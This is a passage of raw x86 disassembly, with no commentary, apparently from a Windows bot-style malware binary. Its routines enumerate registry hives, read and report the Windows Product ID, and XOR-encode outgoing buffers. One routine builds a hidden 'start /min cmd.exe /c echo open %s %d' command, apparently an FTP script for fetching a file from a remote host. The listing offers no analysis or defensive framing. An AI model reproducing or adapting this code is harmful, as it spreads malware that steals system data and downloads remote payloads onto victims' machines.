		push	(offset	loc_448B7B+1)
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436B0C:				; CODE XREF: sub_4369E0+FCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2930000h
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 2
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000002h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 3
		call	sub_4017EE
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436BF4
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_448B6F+1)
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436BF4:				; CODE XREF: sub_4369E0+1E4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2930000h
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 4
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000005h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 5
		call	sub_4017EE
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436CDC
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset loc_448B64
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436CDC:				; CODE XREF: sub_4369E0+2CCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2930000h
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 6
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000000h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 7
		call	sub_4017EE
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436DC4
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset aHkcrS	; "HKCR: %s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436DC4:				; CODE XREF: sub_4369E0+3B4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		call	near ptr 2930000h
		nop
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+150h+var_128]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], 8
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000003h
		call	edi
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+150h+var_128]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+148h+var_130]
		lea	edx, [esp+148h+var_10C]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	[esp+158h+var_4], 9
		call	sub_4017EE
		push	eax
		mov	eax, [esp+15Ch+var_134]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		setz	[esp+148h+var_135]
		call	sub_401226
		mov	al, [esp+148h+var_135]
		pop	ebp
		test	al, al
		jz	short loc_436EAD
		lea	ecx, [esp+144h+var_10C]
		push	ecx
		push	offset aHkuS	; "HKU:	%s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436EAD:				; CODE XREF: sub_4369E0+49Dj
		mov	ecx, [esp+144h+var_134]
		push	ecx
		jmp	loc_436F51
; ---------------------------------------------------------------------------


loc_436EB7:				; CODE XREF: sub_4369E0+3Cj
		lea	ecx, [edi+32h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_436F57
		lea	edx, [esp+144h+var_12C]
		mov	[esp+144h+var_12C], eax
		push	edx
		push	20019h
		push	eax
		push	offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		mov	[esp+158h+var_110], 80h
		nop
		call	near ptr 296029Eh
		mov	edx, [esp+144h+var_12C]
		lea	eax, [esp+144h+var_110]
		lea	ecx, [esp+144h+var_8C]
		push	eax
		push	ecx
		push	0
		push	0
		push	offset aProductid ; "ProductId"
		push	edx
		nop
		call	near ptr 2910000h
		test	eax, eax
		jnz	short loc_436F4C
		lea	eax, [esp+144h+var_8C]
		lea	ecx, [esi+69h]
		push	eax
		push	offset aFoundWindowsPr ; "Found	Windows	Product	ID (%s)."
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_436F4C:				; CODE XREF: sub_4369E0+539j
		mov	eax, [esp+144h+var_12C]
		push	eax


loc_436F51:				; CODE XREF: sub_4369E0+4D2j
		nop
		call	near ptr 2930000h


loc_436F57:				; CODE XREF: sub_4369E0+4E9j
		mov	ecx, [esp+144h+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 138h
		retn	4
sub_4369E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 170h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4370F0	proc near		; CODE XREF: sub_401334j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		test	esi, esi
		jle	short loc_43710D
		mov	cl, [esp+4+arg_8]
		mov	edx, [esp+4+arg_0]


loc_437103:				; CODE XREF: sub_4370F0+1Bj
		cmp	[eax+edx], cl
		jz	short loc_437111
		inc	eax
		cmp	eax, esi
		jl	short loc_437103


loc_43710D:				; CODE XREF: sub_4370F0+9j
		pop	esi
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_437111:				; CODE XREF: sub_4370F0+16j
		pop	esi
		mov	al, 1
		retn
sub_4370F0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_437130:				; CODE XREF: ___:00401433j
		push	ecx
		mov	eax, [esp+18h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	eax
		mov	dword ptr [esp+14h], 98h
		nop
		call	near ptr 71AB2B66h
		mov	ebx, [esp+1Ch]
		and	eax, 0FFFFh
		push	ebx
		mov	[esp+2Ch], eax
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+38h]
		mov	ecx, 6
		mov	esi, (offset loc_448B87+1)
		mov	edi, edx
		rep movsd
		mov	ecx, [esp+30h]
		add	esp, 8
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	eax, [esp+34h]
		mov	ecx, [esp+2Ch]
		mov	[esp+1Ch], edx
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	cx, [esp+2Eh]
		mov	[eax+ebp+2], cl
		mov	[eax+ebp+3], ch
		mov	eax, [esp+38h]
		test	eax, eax
		jz	short loc_4371EC
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_4371EC:				; CODE XREF: ___:004371E3j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_43722E:				; CODE XREF: ___:004372A7j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43726E
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43726E
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_43726E
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4372A9


loc_43726E:				; CODE XREF: ___:0043723Cj
					; ___:0043724Cj ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4372A0


loc_437293:				; CODE XREF: ___:0043729Ej
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_437293


loc_4372A0:				; CODE XREF: ___:00437291j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_43722E
; ---------------------------------------------------------------------------


loc_4372A9:				; CODE XREF: ___:0043726Cj
		mov	eax, [esp+28h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_437390:				; CODE XREF: ___:00401D75j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	dword ptr [esp+10h], 98h
		repne scasb
		mov	eax, [esp+1Ch]
		not	ecx
		dec	ecx
		lea	ebx, [ecx+eax+1]
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_448B87+1)
		mov	edi, edx
		add	esp, 8
		rep movsd
		mov	esi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		mov	edi, esi
		mov	[esp+18h], edx
		repne scasb
		mov	edx, [esp+1Ch]
		not	ecx
		mov	eax, ecx
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2Ch]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_437442
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_437442:				; CODE XREF: ___:00437439j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+18h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_437484:				; CODE XREF: ___:004374FDj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4374C4
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4374C4
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4374C4
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4374FF


loc_4374C4:				; CODE XREF: ___:00437492j
					; ___:004374A2j ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4374F6


loc_4374E9:				; CODE XREF: ___:004374F4j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4374E9


loc_4374F6:				; CODE XREF: ___:004374E7j
		mov	edx, [esp+18h]
		mov	[edx+13h], cl
		jmp	short loc_437484
; ---------------------------------------------------------------------------


loc_4374FF:				; CODE XREF: ___:004374C2j
		mov	eax, [esp+28h]
		push	eax
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+1Ch]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+1Ch]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4375F0:				; CODE XREF: ___:00401FFFj
		mov	eax, 200Ch
		call	sub_437B30
		mov	eax, [esp+2028h]
		mov	ecx, [esp+202Ch]
		push	ebx
		mov	edx, [esp+2028h]
		push	ebp
		push	esi
		push	edi
		push	eax
		push	eax
		mov	eax, [esp+2048h]
		push	eax
		mov	eax, [esp+203Ch]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+34h]
		push	offset aStartMinCmd_ex ; "start	/min cmd.exe /c	\"echo open %s %d "...
		push	ecx
		mov	dword ptr [esp+34h], 98h
		nop
		call	sub_5F76F7
		lea	edi, [esp+3Ch]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	edx, [esp+2044h]
		repne scasb
		not	ecx
		dec	ecx
		lea	ebx, [ecx+edx+1]
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+2044h]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_448B87+1)
		mov	edi, edx
		add	esp, 28h
		rep movsd
		lea	edi, [esp+1Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	[esp+10h], edx
		mov	edx, [esp+2024h]
		not	ecx
		mov	eax, ecx
		lea	esi, [esp+1Ch]
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2044h]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_4376F2
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_4376F2:				; CODE XREF: ___:004376E9j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_437734:				; CODE XREF: ___:004377ADj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_437774
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_437774
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_437774
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4377AF


loc_437774:				; CODE XREF: ___:00437742j
					; ___:00437752j ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+14h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+14h], ecx
		jle	short loc_4377A6


loc_437799:				; CODE XREF: ___:004377A4j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_437799


loc_4377A6:				; CODE XREF: ___:00437797j
		mov	edx, [esp+10h]
		mov	[edx+13h], cl
		jmp	short loc_437734
; ---------------------------------------------------------------------------


loc_4377AF:				; CODE XREF: ___:00437772j
		mov	eax, [esp+18h]
		push	eax
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+2030h]
		mov	edx, [esp+202Ch]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+14h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+14h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 200Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4378B0:				; CODE XREF: ___:0040191Fj
		push	ecx
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	esi
		push	edi
		push	ebx
		mov	dword ptr [esp+14h], 98h
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+30h]
		add	esp, 8
		mov	ecx, 6
		mov	esi, (offset loc_448B87+1)
		mov	edi, edx
		mov	[esp+1Ch], edx
		test	eax, eax
		rep movsd
		jz	short loc_43792D
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_43792D:				; CODE XREF: ___:00437924j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_43796F:				; CODE XREF: ___:004379E8j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4379AF
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4379AF
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4379AF
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4379EA


loc_4379AF:				; CODE XREF: ___:0043797Dj
					; ___:0043798Dj ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4379E1


loc_4379D4:				; CODE XREF: ___:004379DFj
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4379D4


loc_4379E1:				; CODE XREF: ___:004379D2j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_43796F
; ---------------------------------------------------------------------------


loc_4379EA:				; CODE XREF: ___:004379ADj
		mov	eax, [esp+18h]
		push	eax
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_511AD0
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 68h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437AB8	proc near		; CODE XREF: SEH_403530+5j
					; SEH_403720+5j ...
		nop
		jmp	near ptr 77C227FAh
sub_437AB8	endp

; ---------------------------------------------------------------------------
		align 10h
byte_437AC0	db 90h			; DATA XREF: ___:off_43F004o
					; ___:0043F018o ...
		db 0E9h, 47h, 0E4h
		dd 4DE9777Fh, 0D9777E44h, 7F18F6E9h
; ---------------------------------------------------------------------------
		ja	short near ptr byte_437AE8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_437AD2	proc near		; CODE XREF: ___:00406C30p
					; sub_406C50+11p ...
		jmp	near ptr 77C29CDDh
sub_437AD2	endp

; ---------------------------------------------------------------------------
		db 0BBh
		db 90h
		db 0E9h, 0B2h, 0FFh
		dd 0E9907780h, 7781017Ch, 1FBE990h
byte_437AE8	db 81h,	77h		; CODE XREF: ___:00437AD0j

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437AEA	proc near		; CODE XREF: sub_406C80+47p
					; ___:00406D1Ap ...
		nop
		jmp	near ptr 77C29CC5h
sub_437AEA	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0F1h, 99h
; ---------------------------------------------------------------------------
		jle	short loc_437B6D
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43F1D4
		retn	4
; ---------------------------------------------------------------------------


loc_437B01:				; DATA XREF: ___:off_43F1D4o
		push	esi
		mov	esi, ecx
		call	sub_437EBC
; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_437B17
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx


loc_437B17:				; CODE XREF: ___:00437B0Ej
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		mov	eax, ecx
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437B22	proc near		; CODE XREF: sub_409660+4Dp
					; ___:0040AA7Dp
		nop
		jmp	near ptr 77C226F6h
sub_437B22	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 5Ch, 84h
; ---------------------------------------------------------------------------
		xor	byte ptr [edi-34h], 0CCh

; =============== S U B	R O U T	I N E =======================================



sub_437B30	proc near		; CODE XREF: sub_40A110+5p
					; sub_410030+1Ap ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_437B50


loc_437B3C:				; CODE XREF: sub_437B30+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
